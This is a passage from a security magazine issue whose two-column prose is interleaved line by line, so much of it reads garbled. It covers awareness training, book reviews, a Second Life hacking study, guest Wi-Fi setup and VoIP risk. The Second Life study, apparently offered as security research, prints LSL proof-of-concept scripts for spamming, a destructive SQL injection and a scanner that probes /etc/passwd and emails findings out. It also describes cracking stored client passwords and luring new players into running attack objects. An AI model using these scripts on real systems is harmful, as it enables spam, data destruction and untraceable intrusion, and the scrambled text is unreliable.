ple allows them to be reminded regularly of suited for the majority of employees.
security principles.
The chief objective of role-based information
Demonstrations - The usage of demonstra- security training is to convey relevant informa-
tions is an excellent method of creating tion security expertise to practitioners, regard-
awareness within an organization. A demon- less of whether their position interacts with
stration of how weaker passwords are information security on a frequent basis.

www.insecuremag.com 23
It is important to recognize that security The email contained a spreadsheet containing
awareness and training are not one-time ac- among other things salaries and Social Secu-
tivities. Security, while integral to the overall rity numbers.
mission of any organization, is generally not
the full-time concern of most employees. To A Maryland State Highway Administration
implement an effective awareness program it employee accidentally uploaded SHA sensi-
is imperative that employees are routinely tive employee information including SSNs to a
formally and informally made aware of estab- server accessible by all employees. The Uni-
lished security practices. As an example, an versity of Texas Health Science Center at Ty-
employee may have a quarterly responsibility ler suffered a data breach when a contractor
to securely transmit sensitive data to a client. mailed 2000 envelopes containing the SSN
If the employee has only been made aware on the envelope.
and trained on this process one time, it is un-
reasonable to expect that they will remember Each of these examples occurred in April
how to successfully accomplish the task over 2008, and this list is just a small percentage of
three months from now. For this reason it is the security breaches encouraged by a lack of
necessary to view awareness and training ac- an established security learning program.
tivities as a continuing lifecycle. Ensuring that These examples are not the acts of an insidi-
these activities occur persistently allows the ous employee attempting to discredit their or-
activities to be tailored to emerging threats. In ganization or make a profit by selling confi-
some cases, employees may need to be dential data. Each situation represents an
trained on new countermeasures to offset employee that has either been improperly
these new threats. trained on security, or lacks the security
awareness necessary to consider the conse-
Security training and awareness should begin quences of their actions. These employees
during new-hire orientation to establish the had nothing to gain by committing these
organization!s commitment to security at an breaches, yet they occurred anyway. Had
early stage of employment. It is irrelevant if these offending parties been trained on se-
the new hire is a junior mailroom employee or cure processes and aware of activities that
the newly hired CIO, establishing a security could lead to a security breach, they could
baseline is paramount. Educating an em- have prevented the poor publicity and poten-
ployee six months after hire does nothing to tial financial liability their organizations will in-
establish good security habits and awareness. cur.
Awareness activities should be almost per-
petual, yet interesting enough that they are Security awareness and training are capable
not ignored. of bridging the gap between the technical con-
trols designed to protect data and human in-
Frequently security professionals make the teraction with that data. For security to be ef-
assumption that those responsible for han- fective, senior management needs to support
dling data have at least a foundation of secu- awareness and training within the organiza-
rity consciousness sufficient to ensure our tion. The twenty minutes it takes an employee
data is handled correctly. As noted by to review an awareness presentation may be
www.PrivacyRights.org, numerous recent ex- the difference between a secure organization
amples of a failure in security awareness and and a multimillion dollar breach of security.
training highlight the importance of this com- The concept of educating employees on how
monly neglected component of a robust in- to protect data will never be completely re-
formation security program: placed by technical security controls. As long
as humans are in the loop, there is a neces-
An employee at Ohio State University!s Agri- sity to ensure they are approaching their tasks
cultural Technical Institute accidentally with an appreciation of the threats posed to
emailed sensitive information on 192 faculty the data they are handling.
and staff members to almost 700 students.

James Dorrian is an Assistant Vice President of Security with Fidelity National Information Services in Jack-
sonville,FL. He is a CISSP and attained his Master of Science in Information Assurance from Norwich Univer-
sity. Additionally he is an Adjunct Professor with the University of Maryland University College.

www.insecuremag.com 24
Crimeware: Understanding New Attacks and Defenses
By Markus Jakobsson and Zulfikar Ramzan
Addison-Wesley Professional, ISBN: 0321501950

This book guides you through the essential security principles, techniques, and
countermeasures to keep you one step ahead of the criminals, regardless of
evolving technology and tactics. Security experts Markus Jakobsson and
Zulfikar Ramzan have brought together chapter contributors who are among the
best and the brightest in the security industry. Together, they will help you
understand how crimeware works, how to identify it, and how to prevent future
attacks before your company!s valuable information falls into the wrong hands.

IT Compliance and Controls: Best Practices for Implementation


By James J., IV DeLuccia
Wiley, ISBN: 0470145013

Author James DeLuccia takes a practical approach to evaluating the


organization's IT internal control needs and merges these with the regulated
mandates as he develops a plan for achieving a balance of business and
assurance. The book includes a thorough breakdown of a core set of principles,
showing readers how to implement these best practices successfully within their
own organizations. It concludes with a discussion of the future of IT internal
controls, the challenges that lay ahead, and the technology being employed to
enhance the quality and contribution of these control environments.

www.insecuremag.com 25
Hacking: The Art of Exploitation, 2nd Edition
By Jon Erickson
No Starch Press, ISBN: 1593271441

Rather than merely showing how to run existing exploits, author Jon Erickson
explains how arcane hacking techniques actually work. The included LiveCD
provides a complete Linux programming and debugging environment—all
without modifying your current operating system. Use it to follow along with the
book's examples as you fill gaps in your knowledge and explore hacking
techniques on your own. Get your hands dirty debugging code, overflowing
buffers, hijacking network communications, bypassing protections, exploiting
cryptographic weaknesses, and perhaps even inventing new exploits.

Building a Server with FreeBSD 7


By Bryan Hong
No Starch Press, ISBN: 159327145X

This book is for those of us who prefer to build our own server. If you're a small
business owner looking for a reliable email server, a curious Windows
administrator, or if you just want to put that old computer in the closet to work,
you'll learn how to get things up and running quickly. Then, once you have a
working system, you can experiment, extend, and customize as you please. You'll
learn how to install FreeBSD, then how to install popular server applications with
the ports collection.

VMware ESX Server in the Enterprise: Planning and Securing Virtualization


Servers
By Edward L. Haletky
Prentice Hall PTR, ISBN: 0132302071

This is a real-world guide to planning, deploying, and managing today!s leading


virtual infrastructure platform in mission-critical environments. Drawing on his
extensive experience consulting on large-scale ESX Server implementations,
the author brings together a collection of tips, best practices, and field-tested
solutions. More than any other author, he illuminates the real issues, tradeoffs,
and pitfalls associated with ESX Server–and shows how to make the most of it
in your unique environment.

Network Security Technologies and Solutions


By Yusuf Bhaiji
Cisco Press, ISBN: 1587052466

This is a comprehensive reference to the most cutting-edge security products


and methodologies available to networking professionals today. This book
helps you understand and implement current, state-of-the-art network security
technologies to ensure secure communications throughout the network
infrastructure. With an easy-to-follow approach, this book serves as a central
repository of security knowledge to help you implement end-to-end security
solutions and provides a single source of knowledge covering the entire range
of the Cisco network security portfolio.

www.insecuremag.com 26
Hackerteen: Volume 1: Internet Blackout
By Marcelo Marques
O!Reilly, ISBN: 0596516479

This graphic novel probes the modern online world where an increasing
number of middle school- and high school-aged kids spend their time.
Hackerteen teaches young readers about basic computing and Internet topics,
including the potential for victimization.

The book is also ideal for parents and teachers who want their children and
students to understand the risks of using the Internet and the proper ways to
behave online.

Google Apps Hacks


By Philipp Lenssen
O!Reilly, ISBN: 059651588X

With 100,000 businesses running trials of Google Office, the venerable


Microsoft Office suite has a serious challenger. But can Google's web apps
make the cut?

The scores of clever hacks and workarounds in this book help you get more
than the obvious out of a whole host of Google's web-based applications for
word processing, spreadsheets, PowerPoint-style presentations, email,
calendar, and more by giving you ways to exploit the suite's unique network
functionality.

The New School of Information Security


By Adam Shostack and Andrew Stewart
Addison-Wesley Professional, ISBN: 0321502787

This book explains why professionals have taken to studying economics, not
cryptography--and why you should, too. And why security breach notices are the
best thing to ever happen to information security. It!s about time someone asked
the biggest, toughest questions about information security.

Security experts Adam Shostack and Andrew Stewart don!t just answer those
questions--they offer honest, deeply troubling answers.

Understanding Windows CardSpace


By Vittorio Bertocci, Garrett Serack and Caleb Baker
Addison-Wesley Professional, ISBN: 0321496841

Windows CardSpace empowers organizations to prevent identity theft and


systematically address a broad spectrum of security and privacy challenges.
This book is the first insider!s guide to Windows CardSpace and the broader
topic of identity management for technical and business professionals. Drawing
on the authors! unparalleled experience earned by working with the CardSpace
product team and by implementing state-of-the-art CardSpace-based systems
at leading enterprises, it offers unprecedented insight into the realities of identity
management: from planning and design through deployment.

www.insecuremag.com 27
Online games are getting more and more popular. There!s a very big commu-
nity playing World of Warcraft, Second Life and Online gambling games and a
lot of money is made with these games. Players have to pay for using the
games, they can buy and sell things within the game, they can earn money or
exchange real money into virtual money and they also can spent real money
for online gambling.

Because of the possibility to sell products for peated over and over again. Therefore the
example in Second Life, many companies players are looking for hacks or cheats to
have established a presence in the virtual reach the interesting part of the game much
world. There are also platforms in the real faster.
world that sell and buy virtual items from the
virtual worlds or complete characters from These cheats have a long history, they were
games like world of warcraft. Online games already used in normal computer games with-
have become a big marketplace for a lot of out network functionality, but cheating in online
companies, well-known ones and startups that games maybe has some more advantages.
are dealing with these games only. So there's Think of an online poker cheat that discloses
a lot of motivation to hack online games. the cards of other players. That would be quite
helpful to make a lot of money, right?
Cheating is an of the biggest motivations for
hacking online games. Very often the player And of course online games are quite a new
has to spent hours and hours in the game to field of activity for security research. There are
improve the character and earn points, money new risks and vulnerabilities and sometimes
or whatever. Many times this is quite boring, there's an interesting functionality build in that
because very similar actions have to be re- can be abused for hacking purposes.

www.insecuremag.com 28
Because there was already some research One of the easier approaches using the
done with World of Warcraft, Second Life was STRIDE model is to apply it to an architecture
chosen for a more practical approach to the drawing and identify possible points of attacks.
topic. Points of interest are systems and communi-
cation relationships, each point is checked for
The are some good points to do some re- one of the possible threats.
search with Second Life: "
An exemplary approach identifies the following
1. There!s a big community of people playing threats:
Second Life, individuals but also companies
that are selling virtual products. So it has a 1. The Client: Spoofing Identity (Identity theft)
real business impact. and Tampering with data (cheating).
2. The Second Life virtual world is a simulation 2. Communication between Client and Server:
of the real world, so it's exciting to see if it suf- Spoofing Identity (Identity theft).
fers from the same problem as the real world. 3. Server environment: Repudiation (billing)
3. Second life is dealing with virtual money, so and Tampering with data (increase your Lin-
if it!s possibe to steal someone else!s money it den Dollar).
would be a great risk.
4. Second Life is based on a client / server in- Because there wasn!t a legal contract with
frastructure. Do I put myself at risk when play- Linden Labs for any kind of penetration test or
ing this game? research, only the viewer was examined in de-
5. It!s a virtual world with a build-in program- tail. The viewer is an excellent starting point
ming language (LSL – Linden Scripting Lan- because:
guage). Can LSL be used to attack real world
computer systems from the virtual world? • Source code is available (the client was re-
leased as open source).
The research was started with a focus on pos- • It!s easy to make changes to the client be-
sible attacks against the Second Life environ- cause the sources are available.
ment, in detail the client and server compo- • You can examine everything on a system
nents. To identify possible points of attack the that is under your control.
STRIDE threat model was used. STRIDE is a
threat model developed by Microsoft dealing Based on STRIDE identity theft and cheating
with the following threats: were identified as the main threats against the
client, so let!s dig deeper into these threats.
1. (S)poofing Identity
• Is it possible to attack authentication? For identity theft a username and a password
• Can you read valid credentials from the wire is needed. The Second Life client stores this
or a persistent storage? information in \Documents and Settings\<W-
2. (T)ampering with data inuser>\Application Data\SecondLife on sys-
• Can you change data and the behavior of an tems running windows. A subdirectory is lo-
application? cated here that uses “firstname_lastname” of
3. (R)epudiation your Second Life username as directory
• Can you prevent the application from logging name.
and auditing?
• Is it possible to manipulate logging data If the option Remember Password is enabled,
4. (I)nformation Disclosure the corresponding password is stored in
• Does the application disclose any sensitive \Documents and Settings\<Winuser>\Applica-
information? tion Data\SecondLife\user_settings\
5. (D)enial of Service password.dat.
• Is it possible to crash the application ort he
whole system? The password value isn!t stored in clear text in
6. (E)levation of privileges the file, Linden Lab uses a standard MD5
• Can you execute data as code? hash that is xored with the MAC address of
• Is it possible to gain administrative privi- the network interface card that is used for
leges? communication with the server environment.

www.insecuremag.com 29
With this knowledge it is possible to crack the because of the integrated scripting language
password and steal the Second Life identity of LSL. A review of the source code of the client
a person, if a hacker can get access to the cli- revealed that the developers of Linden Labs
ent system. used at least some automated tools to avoid
typical programming flaws like buffer over-
Let's move over to the second threat "Tamper- flows.
ing with data" or cheating. When talking about
cheating in a game we talk about things like: The second big part of the research project
was focusing on attacks from the virtual world
• Changing your inventory (money, points, against real computer systems and networks.
owned items and so forth). The build in programing language LSL con-
• Find magic key sequences like “wantto- tains some promising functions that can be
berich” and just enter the amount of money used to communicate with the outside world
you own or getting into a superuser mode and develop attack tools:
(called God Mode in Second Life and reserved
for Linden Labs employees only). • llEmail(recipient, subject, message): This
• Automate stupid and boring tasks (often function is used to send emails from the virtual
used to improve the character). Think about world to the real world.
an avatar that builds things automatically in a • llHTTPRequest(url, parameter, body): With
sandbox area (everyone can build objects this function HTTP requests can be send to
here) and tries to sell them to others. So you real web servers.
can increase your Linden dollars automati- • llLoadURL(avatar_id, message, url): This
cally. function starts the local web browser and
browses to the specified URL.
The typical tasks on the “To-do list” to look for • And there are also XML-RPC functions that
cheats are: can be used to develop more complex com-
munication relationships with the real world.
• Reverse Engineering of the game client (not
necessary because we have access to the With these nice functions at hand, there are
source code). quite some ideas to write some hacking tools
• Examine the memory of your system to look to lauch the following attacks:
for inventory data or something similar that is
stored there. 1. Sending spam mails from the Second Life
• Add logging capabilities or other useful func- world.
tions to the game client. 2. Doing all that typical web application at-
tacks like SQL Injection and Cross Site Script-
During the analysis process no inventory data ing.
was discovered, so it looks like all sensitive 3. Writing complex hacker tools like web vul-
data is stored in the central database. But at nerability scanner, port scanner and fuzzers.
least automating some tasks looks feasible

www.insecuremag.com 30
We started with a small script to send spam 3. Send Spam to each email address using
mails. The required steps are quite easy, we llEmail.
need a list of recipients and we must be able
to send emails, so: The emails are sent from your Second Life
account but of course you can use free ac-
1. Create text file with email addresses and counts within Second Life to stay anonymous.
put it on a web server that you own.
2. Download the file with LSL llHTTPRequest Here!s a basic Proof of Concept Spam Script:
within SL and parse the response.

default
{
state_entry()
{
http_request_id=llHTTPRequest(URL+"/sldemo.txt", [HTTP_METHOD,
"GET"],"");
}

touch_start(integer total_number)
{
for(; i<llGetListLength(my_list)+1; ++i){
llEmail(llList2String(my_list,i),"SL Spam","Mine is longer
than yours ;-)");
}
}
http_response(key request_id,integer status,list metadata,string
body)
{
if ( request_id == http_request_id )
{
my_list = llParseString2List(body,[";"],[]);
}
}
}

Sending spams is feasible, but a real attack we can do real web attacks as long as they
would be much more nicer. SQL Injections at- are not filtered on the Linden Lab servers.
tacks are done via web requests against form Here!s another small sample script for a SQL
fields or query parameters. We can send web Injection attack:
requests with the function llHTTPRequest, so

default
{
state_entry()
{
http_request_id=llHTTPRequest(URL+"/sldemo.aspx?user=sldemo';DROP
Table;--", [HTTP_METHOD, "GET"],"");
}

touch_start(integer total_number)
{
llSay(0,"Web server owned!");
}
http_response(key request_id,integer status,list metadata,string
body)
{
}
}

www.insecuremag.com 31
Running this script against a test server dem- • A database is needed with known vulnerabili-
onstrated that these attacks are not filtered ties.
and even worse: they are originating from Lin- • The results must be send to a defined email
den Labs IP range, so it will be hard to track address.
down the real attacker. • We must be able to send unfiltered web re-
quests.
Let!s move one step further and build a more • We must parse the response to identify find-
complex hacker tool with LSL. The idea was to ings.
build a web vulnerability scanner that sends
the scanning results to an email address, a Here!s a very simple and small code snippet
tool very similar to the nikto web scanner, let!s that proves that slikto is working:
call this tool slikto. Let us define the basic re-
quirements for the tool:

list scanlist =["/index.html", "/sl.html", "/login.html", "/etc/passwd",


"/etc/sshd.conf", "/var/log/syslog"];
list resp_id =[];

state_entry()
{
for (;i<max;i++)
{
http_request_id=llHTTPRequest(URL+llList2String(scanlist,i), [HTTP_METHOD,
"GET"],"test");
resp_id +=[http_request_id];
}
}
http_response(key request_id,integer status,list metadata,string body)
{
for (;j<max;j++)
{
if ( request_id == llList2Key(resp_id,j) )
{
if (status==200)
{
llEmail("email@domain.com","FOUND!",llList2String(scanlist,j));

At Blackhat Europe and Hack in the Box Du- • Every object and script has an owner that
bai a fully working version of slikto was dem- can be tracked.
onstrated that uses the original vulnerability • The sandbox areas are cleaned after 5 hours
database of nikto, so it's possible to build even automatically.
more complex hacker tools with LSL and do • Avatars are for free. Are hackers using their
real hacker attacks against computer systems. real names?

Writing the code is feasible, but how do we get With an anonymous account it won!t be possi-
the code executed? There are so called ble to track at least a skilled hacker, so no one
“Sandbox areas” where everyone can build will care about the owner of a script or object.
objects, just to learn how to do it. LSL scripts Even that the sandbox areas are cleaned
can be attached to these newly created ob- doesn!t matter, because objects can be build
jects and when a special event occurs, like and put to the inventory of an avatar. On the
"when touched", the script is executed. New- other hand 5 hours are quite a lot time to find
bies are transported to these sandbox areas someone that will touch an object and an at-
after the first login, so just make your hacker tacker can also rebuild his objects when the
object look interesting and you will find some- sandbox area is cleaned.
one that will touch it. In order to decide if these
attacks are realistic, we have to keep some Finally you can bring some of the mentioned
things in mind: attacks together.

www.insecuremag.com 32
Remember cheating where one of the goals is Labs firewall configuration doesn't limit the
to automate boring tasks. We could build an communication between Linden Lab server
avatar that acts automatically. He could build systems, you can also use LSL attack scripts
and give objects with attached attack scripts to attack the Second Life server infrastructure.
automatically to newbies, so the attacks will There is a lot of room for the creativity of at-
be executed by these newbies using their tacker to launch dangerous attacks against
login credentials. Does this sounds familiar to your business and privacy.
you? These kinds of tools are quite common in
the real world and are called bots. Second Life is just an example for attacking
online games and there are others like attacks
We can assume that attacks from the virtual against online gambling sites that are already
world against real life systems will become a quite common. We will see more of these at-
realistic threat in the future. tacks in the future. Any kind of system will at-
tract hackers and criminals, if it can be abused
There are even more interesting attack vec- for stealing money or any other kind of mis-
tors in Second Life. If you can steal the iden- use. Online game providers have to start im-
tity of a manager of a big company, you can plementing risk analysis and risk management
participate in business meetings that are held processes to deal with security risks or virtual
in Second Life instead of doing video confer- worlds like Second Life will become a virtual
ences and get your hand on some confidential hacker!s world.
business information. Assuming that Linden

Michael Thumann is CSO and head of the ERNW Research and Pen-Test teams. He has published security
advisories regarding topics like 'Cracking IKE Preshared Keys' and Buffer Overflows in Web Servers/VPN
Software/VoIP Software. Michael enjoys sharing his self-written security tools (e.g. 'tomas - a Cisco Password
Cracker', 'ikeprobe - IKE PSK Vulnerability Scanner' or 'dnsdigger - a DNS information gathering tool') and his
experience with the community. Besides numerous articles and papers he wrote the first (and only) German
Pen-Test Book that has become a recommended reading at German universities. In addition to his daily pen-
testing tasks he is a regular conference-speaker (Blackhat, HITB and RSA) and has also contributed exploit
code to the Metasploit Framework. With more than 10 years of experience in computer security Michaels' main
interest is to uncover vulnerabilities and security design flaws from the network to the application level.

www.insecuremag.com 33
Many organizations are faced with the challenge of providing a “guest”
wireless network. This network is intended to provide your guests, such as
contractors, visiting faculty, patients, or training rooms, consultants, with
wireless access to the network.

In most cases guests will require access to wireless spectrum and even detect or prevent
the Internet, with little or no need to connect to attacks. However, many of these systems do
your organizations private network. There are not scale well for smaller deployments, and
many ways to solve this problem, with the can easily break the budget for a small to me-
best being to purchase a separate Internet dium size company. Also, there is a nice secu-
service and completely separate it from the rity advantage to having the entire system
rest of your network. separate, and on a different platform from
your existing wireless network. Separation lim-
You still are responsible to put some sort of its the attackers ability to connect to your in-
access restrictions around the wireless net- ternal network, and using a different technol-
work, as you would not want just anyone to ogy means that the same vulnerability could
use the wireless network, especially your own not be used to compromise both wireless net-
employees. This can present a more serious works.
security problem if a guest (or employee) con-
nects to the wireless network and is plugged The best part, all this can be done for under
into the wired network. $300 (on a small scale with two access
points), and using all open-source software!
Many wireless vendors offer solutions that This is a great, cheap, fast, and easy way to
work really well, are easily managed, and offer handle guests that may be coming into your
security features that can help you monitor the network.

www.insecuremag.com 34
To get us started you will need some of the into an Ethernet port and configured to access
following hardware and software: the Internet. The wireless network, or LAN as-
signed ports will all be the same layer 2/3
• Asus WL-500 G Premium (tinyurl.com/o5tv8 network and provide access to the clients and
- $90 each) or Linksys WRTSL54GS other access points. Clients will access the
(tinyurl.com/n8caz - check eBay). wireless network, receive DHCP, and be
• WRT54GL (tinyurl.com/8b9ap - $60 each). asked to authenticate to a captive portal. The
• OpenWrt - www.openwrt.org (Free!). access points can use WDS (Wireless Distri-
bution System) to connect to the network,
The first step will be to flash all of our gear which saves time and money on cabling. Its
with OpenWrt, preferable Kamikaze 7.09 simple to use OpenWrt and configure WDS,
(tinyurl.com/yqkhhh). Then the Asus or edit the /etc/config/wireless file and add the
WRT54SLGS router will act as the Internet following lines:
router, meaning its WAN port will be plugged

option wds # Sets the mode for the interface


option <bssid> # A list of MAC addresses of all other access points
participating in WDS

With the access points costing only $60, you These DNS servers should be separate from
can easily get coverage, especially in small the DNS servers that host your externally fac-
areas. If you require more bandwidth, you ing machines, such as your Internet domain
might consider POE, or Power Over Ethernet and web sites. Whenever I attach to a wire-
adapters, which cost only $40 per access less network I always look to see what DNS
point and support the 12v power requirements servers are assigned to me by DHCP. In some
on the WRT54GL routers (tinyurl.com/f92nf). cases, it!s the organization!s internal DNS
Lets explore some tips and setup options for servers, which tells an attacker information
securing your guest wireless network. about the internal subnet in use, and provides
potential targets for attack (typically the inter-
External DNS server nal DNS servers are on the same subnet as
many other juicy targets, such as file servers
I have reviewed many organization!s wireless or active directory servers). Rather than run
network architectures and one of the most your own DNS servers for wireless guests, I
common mistakes is associated with DNS like to use OpenDNS (www.opendns.com), it
services. If you offer an open wireless net- provides a nice service free DNS service that
work, even one with a captive portal, you must you can use for your wireless clients. All you
be certain to not expose any information about need to do is tell the DHCP server to distribute
your network. For example, most networks these, in OpenWrt modify the following in
have DNS servers that resolve queries on the /etc/dnsmasq.conf:
internal network for workstations, servers, and
other devices attached to your network.

dhcp-option=6,208.67.222.222,208.67.220.220

If you register for a free account with this is an easy way to keep things under con-
OpenDNS you can register your IP addresses trol.
and then control your settings. This is handy
because you can control the categories of DHCP services
web sites that users visit and, for example,
prevent users from visiting peer-to-peer sites. DHCP falls into the same category as DNS
Bandwidth on a wireless network can be lim- when it comes to exposing your wireless net-
ited, especially if you are using WDS as the work in that you should have a separate one
bridges will eat half of your bandwidth, and dedicated to wireless.

www.insecuremag.com 35
This prevents attacks against this service, - airpwn.sourceforge.net) that make imple-
which could lead to DoS conditions, remote menting a captive portal seem, well, futile.
exploitation, or protocol abuses. Its best to However, captive portals can be a great way
limit this behavior to your wireless network to prevent transient users from hogging
only. In OpenWrt dnsmasq is running by de- bandwidth, attacking your network (in some
fault as your DHCP server and can be left cases) or performing illegal activities while us-
running. If your wireless network has numer- ing your wireless network.
ous clients putting a load on DHCP services,
you can split the IP range between multiple Captive portals can be difficult to setup, re-
DHCP servers running on multiple access quiring separate servers for redirecting clients,
points. and other servers for authentication. However,
thanks to the folks at the Packet Protector pro-
Firewall from your network ject, many popular wireless routers can be
turned into a self-contained captive portal! Us-
In general you should only allow services from ing technology from Coova (an open-source
the wireless network into your organization!s captive portal), and OpenWrt, all you need to
production network that you would allow from do is flash your router with their firmware, and
the Internet. I always stress that organizations voila! Instant wireless hotspot! You can down-
should treat the wireless network with the load the firmware from the following web site -
same security level as the Internet. This usu- tinyurl.com/3v5k3e.
ally means only giving them access to serv-
ices in the DMZ, such as web sites, and ac- The firmware installs just like any other ver-
cess to perform lookups in your externally fac- sion of OpenWrt. I tested mine on a
ing domain. Use a firewall to restrict the wire- WRTSL54GS, and although this model router
less network send traffic to your internal net- does not appear to be readily available (cur-
work, and log the firewall rules that are block- rently “out of stock” and “deactivated” item on
ing this traffic. Monitor these logs and inspect two popular online retailers). If you are starting
them on a regular basis to determine if any fresh, you might be better off purchasing an
access attempts have occurred. Asus WL-500G Premium, which has similar
specifications. Once you!ve flashed the router,
Captive portal you should change the default password for
both the root account (just as you would in
While it won!t stop attacks against wireless any other version of Linux) and the login for
clients (especially layer 2 attacks), a captive the captive portal. The captive portal user-
portal is a great way to ensure that only name and password are stored in the file /etc/
authorized users are accessing the Internet chilli/localusers. You can change the user-
via your wireless network. There are many at- name and password by writing a new as fol-
tacks against clients (Karma), and general at- lows:
tacks against open wireless networks (Airpwn

root@guest_wireless:/etc/chilli# cat > localusers


pauldotcom:hax0rs:PaulDotCom User:
<control-d>

You may also want to change the default this lets first review the value of the SSID with
SSID from “guest_wireless” to something the following command:
more appropriate for your installation. To do

root@guest_wireless:~# uci get wireless.cfg2.ssid


guest_wireless

To change it from “guest_wireless” to “paul- as follows:


dotcom_guest”, issue the “uci set” command

root@guest_wireless:~# uci set wireless.cfg2.ssid=pauldotcom_guest

www.insecuremag.com 36
Now issue another “uci get” command to be certain the value was changed properly:

root@guest_wireless:~# uci get wireless.cfg2.ssid


pauldotcom_guest

Commit your changes:

root@guest_wireless:~# uci commit

And one last command to restart the wireless networking so our changes take effect:

root@guest_wireless:~# wifi

There are many other modifications you can distributions, is configurable to provide a plat-
make to this distribution, such as changing the form for providing the wireless network and
web pages and logos on the splash screen, captive portal. The steps go beyond the scope
and including your own SSL certificate for the of this article, however it is important that you
user login (which is neat that it can now sup- lock down the devices we discussed.
port SSL). All of the configuration information
is contained in /etc/chilli/main.conf, in- This means wireless users should not be able
cluding the file locations for web pages, im- to attack the wireless access points them-
ages, and certificates. selves. Access points should be hardened like
any other server or workstation and local fire-
Conclusion walls should be configured. I hope you can
use this information as a guideline to build
Using open-source tools and inexpensive your own “secure” wireless guest network,
hardware it is possible to build a wireless net- and always keep in mind that “secure” is in
work with a number of security measures. A quotes for a reason.
good architecture is key, keeping services
separate from your production network and Special thanks to Charlie Vedaa from
proper firewalling will help to keep attackers at www.packetprotector.org for his hard work as-
bay. OpenWrt, in conjunction with specialize sembling the captive portal firmware.

Paul Asadoorian is the Senior Network Security Engineer for OSHEAN, providing penetration testing, security
training, and intrusion detection services to colleges, universities, and non-profits in the New England area. He
is also the founder of PaulDotCom Enterprises, a company focused on delivering security services and sup-
porting the community as host of PaulDotCom Security Weekly (www.pauldotcom.com), a weekly podcast dis-
cussing IT security news, vulnerabilities, hacking, and research, including interviews with some of the top se-
curity professionals. He is the co-author of "Ultimate WRT54G Hacking" (www.wrt54ghacks.com), a book
dedicated to embedded device hacking and wireless security and author of the SANS source SEC535 “Net-
work Security Projects Using Hacked Wireless Routers”.

www.insecuremag.com 37
Significant business benefits, new features and cost reduction are driving
enterprises to migrate to IP based telecommunications networks. VoIP and
Unified Communications (UC) are being deployed by enterprises to support
their revenue generating services such as call centers, brokerages and trad-
ers. IT organizations are migrating their internal voice and data infrastructures
to Unified Communication infrastructure to provide better productivity tools
and significant cost savings.

Voice over IP inherits the same security VoIP/UC infrastructure in the context of busi-
threats as IP data networks, but also intro- ness impact. Finally, put it together and iden-
duces new threats that are specific to IP tify the highest risk areas. Using these results
based communications. Furthermore, existing to drive your VoIP/UC security deployments
compliance and regulatory requirements de- and spending will help you maximize your se-
fined by SOX, GLBA and HIPAA are increas- curity budget from a risk assessment perspec-
ingly becoming applicable to VoIP and require tive.
the attention of IT security professionals.
VoIP assets and their importance
The process of assessing security-related
risks from internal and external threats is the Today!s VoIP/UC infrastructure consists of a
first step in defining security strategy for VoIP/ wide range of components and applications
UC networks. There are a number of well such as call managers/PBX, hardphones,
known methodologies used to formalize this softphones, gateways, voice mail systems,
process. In this article we present a simpler conferencing units, mobile units and call cen-
version to illustrate the major concepts and ter equipment. Often they are deployed in dis-
risk areas. First, you need to understand your tributed environments supporting up to tens of
assets, their importance and the risks/costs of thousands users and end-points. These net-
losing them due to security events. Second, works will use various signaling protocols, in-
identify the security vulnerabilities that could teract with the existing PSTN networks and
be exploited and used to disable/hamper op- carry confidential information such as cus-
erations of the VoIP/UC networks. Evaluate tomer records, corporate secrets or private
the probability of exploiting the security events conversation between senior executives. In
both by external and internal attackers. Third, call centers all the conversations are being
assess the impact of the security events on recorded and stored.

www.insecuremag.com 38
The enterprise voice mail systems contain pri- VoIP exploits and impacts
vate information stored by the staff and cus-
tomers. For many organizations VoIP/UC The VoIP infrastructure can be attacked re-
based services such as call centers or broker- motely through direct attacks on VoIP
age houses are revenue generators, while for applications/devices, or indirectly through the
others such as governments or Fortune 500 data network or VoIP applications residing on
companies, they provide mission critical inter- user devices such as soft clients. These at-
nal services such as voice communication. tacks will come from external sources such as
the global Internet and ISP networks, or inter-
In most cases, Call Managers/PBX!s will be nal malicious employees, unknowingly mali-
identified as mission critical assets. But in cious employee, third-party company, busi-
some environments, call recorders or gate- ness partner or consultant.
ways could also play an important role. Indi-
vidual phones and end-points could be impor- When identifying potential attack vectors, a
tant if they are assigned to senior executives. layered model helps describe the vulnerabili-
PSTN gateways and trunks are critical in dis- ties of a typical VoIP device or application as
tributed environments such as multi-branch shown below. Arrows between layers indicate
banks or international call centers. various attack vectors and the proximity of the
attacker—e.g., whether remote or local.
VoIP security vulnerabilities Clearly there are hundreds of potential attack
vectors exploiting vulnerabilities at different
As described above, VoIP infrastructures con- layers both through local or remote access.
sist of a wide range of components, applica- The "threat landscape! can become compli-
tions and specialized protocols. These new, IP cated in a typical VoIP deployment where the
based telecommunication networks introduce potential attack vectors include not only the
a large number of new vulnerability types and individual devices/applications but composite
categories. There are various taxonomies de- attacks that exploit multiple vulnerabilities in
veloped to classify VoIP security vulnerabili- various VoIP devices.
ties. For example infrastructure based taxon-
omy would divide VoIP vulnerabilities into Service availability attacks stand to be the
software related (introduced by a VoIP greatest threat to VoIP security due to the
application/equipment vendor), configuration possibility of customer impact, lost revenues,
related (introduced during deployment and life system downtime, lost productivity and un-
cycle of VoIP infrastructure), protocol related planned maintenance costs. Service outages
(inherent protocol issues – SIP, UNIStim, could also cause damage to corporate brand
Skinny, H323, RTP), device level (related to a and expose the organization to extortion and
particular device/application such as IP PBX) blackmail. In most cases they will target en-
and system level (related to the VoIP infra- terprise Call Managers/PBX, call center de-
structure components and topology) vices such as IVRs, ACDs and call recorders.

Another approach would split these vulner- Confidentiality is an important factor in secu-
abilities into the following categories: rity considerations. A host of well known regu-
lations such as SOX, GLBA and HIPAA are
• Confidentiality (call eavesdropping, call re- combined with a myriad of domain specific
cording and voicemail tampering). policies requires the organizations to protect
• Service availability (DoS attacks, SPIT, re- customer confidential information. This infor-
mote code execution or unauthorized access). mation is stored in voice mail systems, call
• Authenticity (registration hijacking or caller ID recorders or it is transmitted over VoIP infra-
spoofing. structure. Most common exploits will result in
• Theft or loss (tradition toll fraud and invading leakage of sensitive or confidential informa-
the data network through VoIP infrastructure) tion, compromised corporate secrets, indus-
• SPIT or Spam over Internet Telephony (un- trial espionage and blackmail.
solicited calling, voicemail stuffing or vishing).

www.insecuremag.com 39
If the authentication of the caller is not en- Putting it together
forced, attacks such as registration hijacking
or caller ID spoofing will create disruption and The results of the risk assessment will depend
could lead to identity theft or the leakage of on many factors such as the type of the or-
confidential information. More sophisticated ganization, importance of the telecommunica-
attackers could use interception/modification tion infrastructure to the overall business ob-
attacks that include conversation alternation, jectives, security sensitivity, regulatory envi-
impersonation and hijacking. ronment and budgetary constraints. In general
cases, these results will allow the executive
Traditional toll fraud exploits are as applicable management and security personnel to iden-
